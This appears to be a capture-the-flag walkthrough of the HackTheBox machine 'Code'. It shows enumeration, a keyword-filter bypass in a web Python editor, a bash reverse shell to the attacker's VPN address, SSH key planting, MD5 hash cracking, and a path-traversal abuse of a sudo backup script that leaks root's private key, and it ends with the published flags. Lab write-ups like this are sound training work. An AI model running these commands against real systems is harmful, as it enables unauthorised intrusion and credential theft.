HackTheBox | Code

In this walkthrough, I demonstrate how I obtained complete ownership of Code on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Code from Hack The Box!
I have just owned machine Code from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Sun Mar 23 01:16:00 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.231.240
Nmap scan report for 10.129.231.240
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 01:16:47 2025 -- 1 IP address (1 host up) scanned in 47.91 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see the server is running a common Python gunicorn server and there's a site tile of Python Code Editor which certainly sounds like we'll be interacting with an online IDE.





Service Enumeration

TCP/5000

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

Whenever you're presented with the opportunity to register for an account and log in, do so, as you'll want to see if being a registered user opens any additional attack surfaces.

As expected, registering for an account appears to offer a way to save code snippets to some kind of database and recall them by logging in.

Clicking "Save", we are prompted for a name
My code is recalled by using ?code_id=2 parameter in the query string
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



What We Know So Far

Based on early interactions with the web applications and after reviewing my Burp request history, some guesses on potential attack paths would be:

  • Malicious code execution or command execution via the /run_code endpoint
  • Possible IDOR or some other data exfiltration via the ?code_id parameter

I'll be taking a few of the past requests and sending them to Burp Repeater to test some different payloads.



Penetration Testing

Testing the URL Query Parameter

I tried some different inputs on the ?code_id= URL query parameter, trying to see if the application would behave in unexpected ways with various inputs. However, I did not find anything meaningful when fuzzing this input point.



Testing for Code Execution
Use of restricted keywords is not allowed

With the web-based IDE, we know the inputs are being passed to a Python interpreter on the remote system, executed, and the outputs returned to the user interface.

There appears to be some logic on the backend that forbids certain words in the Python script. So, we'll want to test for any bypasses on these checks and attempt to get code execution.

ℹ️
Further testing by process of elimination, it forbids the words import, os, system, and potentially more.
Bypass Python sandboxes - HackTricks

I took the initial advice here and worked my way down the list to figure out how we might achieve code execution on the target. I started off by trying to figure out which module names or keywords might trigger the filter.

  • os
  • commands not defined
  • subprocess
  • pty not defined
  • platform not defined
  • pdb not defined
  • importlib
  • import
  • imp not defined
  • sys

Now, it's just a matter of trying to figure out how to get some keywords through the filter. Playing around with some simple bypasses, I found that string concatenation into variable names did the trick quite easily:

module_name = 'o' + 's'
method_name = 's' + 'y' + 's' + 't' + 'e' + 'm'
module = sys.modules[module_name]
method = getattr(module, method_name)
method('ping -c 3 10.10.14.106')

Ping test to my VPN IP

Reviewing the Code:

module_name = 'o' + 's'

Store the string os in the variable module_name, as we'll be using this module to gain command execution.

method_name = 's' + 'y' + 's' + 't' + 'e' + 'm'

Store the string system in the module_name variable. We want to use the os.system method to gain command execution.

module = sys.modules[module_name]

Here, we're loading the os module into memory and storing it in the module variable.

method = getattr(module, method_name)

Here, we're loading the system method from the os module into memory and storing it in the method variable.

method('ping -c 3 10.10.14.106')

Finally, we're running the system method and executing the ping -c 3 10.10.14.106 command on the underlying system.

This is effectively the same thing as running import os and os.system('ping -c 3 10.10.14.106'), just a more roundabout way of doing to evade pattern matching in the web application.

The filter on the backend doesn't reference the value stored in the variable. It seems to simply look at the face value of the user input. So, likely just some basic string matching.





Exploit

Reverse Shell

module_name = 'o' + 's'
method_name = 's'+'y'+'s'+'t'+'e'+'m'
module = sys.modules[module_name]
method = getattr(module, method_name)
method("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.106/443 0>&1'")





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Linux code 5.4.0-208-generic #228-Ubuntu SMP Fri Feb 7 19:41:33 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)

Sorry, user app-production may not run sudo on localhost.    



Users and Groups

Local Users

app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash    

Local Groups

app-production:x:1001:
martin:x:1000:  



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:08:b2 brd ff:ff:ff:ff:ff:ff
    inet 10.129.135.30/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2507sec preferred_lft 2507sec
    inet6 dead:beef::250:56ff:feb0:8b2/64 scope global dynamic mngtmpaddr 
       valid_lft 86398sec preferred_lft 14398sec
    inet6 fe80::250:56ff:feb0:8b2/64 scope link 
       valid_lft forever preferred_lft forever   



Interesting Files

/home/app-production/app/instance/database.db

-rw-r--r-- 1 app-production app-production 16384 Mar 26 19:50 /home/app-production/app/instance/database.db    





Privilege Escalation

Upgrade to SSH

ssh-keygen -t rsa -b 4096 -f app_prod -C "" -N ""

Run on attack box to generate a SSH key pair

cat app_prod.pub

Output the public key string and copy to your clipboard

mkdir "$HOME/.ssh"

Make the .ssh directory on the target

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAA ...[snip] ...' >> "$HOME/.ssh/authorized_keys"

Add the public key string to the list of trusted keys

ssh -i app_prod app-production@10.129.135.30

SSH into the target



Analyze the SQLite Database

scp -i app_prod app-production@10.129.135.30:/home/app-production/app/instance/database.db .

Copy the database.db file locally

sqlite3 database.db

Open the database file with sqlite3

sqlite> .tables

List tables

sqlite> SELECT * FROM user;

List tables

The hashes look to be using MD5, which should be trivial to crack
echo '3de6f30c4a09c27fc71932bfc68474be' > hash
john --format=Raw-MD5 --wordlist=rockyou.txt hash



Becoming Martin

su martin

Run in the SSH session to switch users

Good thing to check after switching users



Evaluating the Code

/usr/bin/backy.sh (show/hide)

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

A short summary of the code:

  1. Check the if the user has passed in a valid .json file path
  2. Set a whitelist of directories that can be targeted for backup
  3. map(gsub("\\.\\./"; "")) replaces any ../../ notation in the .json file's directories_to_archive array, but this is an insufficient mitigation
  4. Function, is_allowed_path() is where the issue lies here, especially with the [[ "$path" == $allowed_path* ]] operation. The * in double-bracket evaluations is too permissive.
  5. Check each directory in the .json file and invoke /usr/bin/backy to presumably make copies of each directory in the destination folder.



Abusing the Sudo Script

We can leverage the task.json file for the job
💡
The first thing we'll do is demonstrate why the ../../ substitution is insufficient. For that, we'll borrow a line from the script.
/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' task.json

We'll run the command against task.json to sample the output

The replacement of ../ given the input of ....// simply replaces the ..[../]/ causing the remaining .. and / to merge.

💡
The last thing we'll do is demonstrate why the [[ "$path" == $allowed_path* ]] operation is too permissive, as it wildcard matches on the ../../../ in the path.
Output is pwned because the comparison evaluated to "True" due to the wildcard match
mkdir pwned
task.json -- set verbose output and exclude to empty array to capture everything
tar -xvjf pwned/code_var_.._.._.._.._.._root_2025_March.tar.bz2

Extract the archived files



Becoming Root

ssh -i root/.ssh/id_rsa root@localhost

Use root's private key to SSH back into localhost



Flags

User

56e48b51493485c43594881611f44db5    

Root

d60b59eb6ea1408615c16831c640adca    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.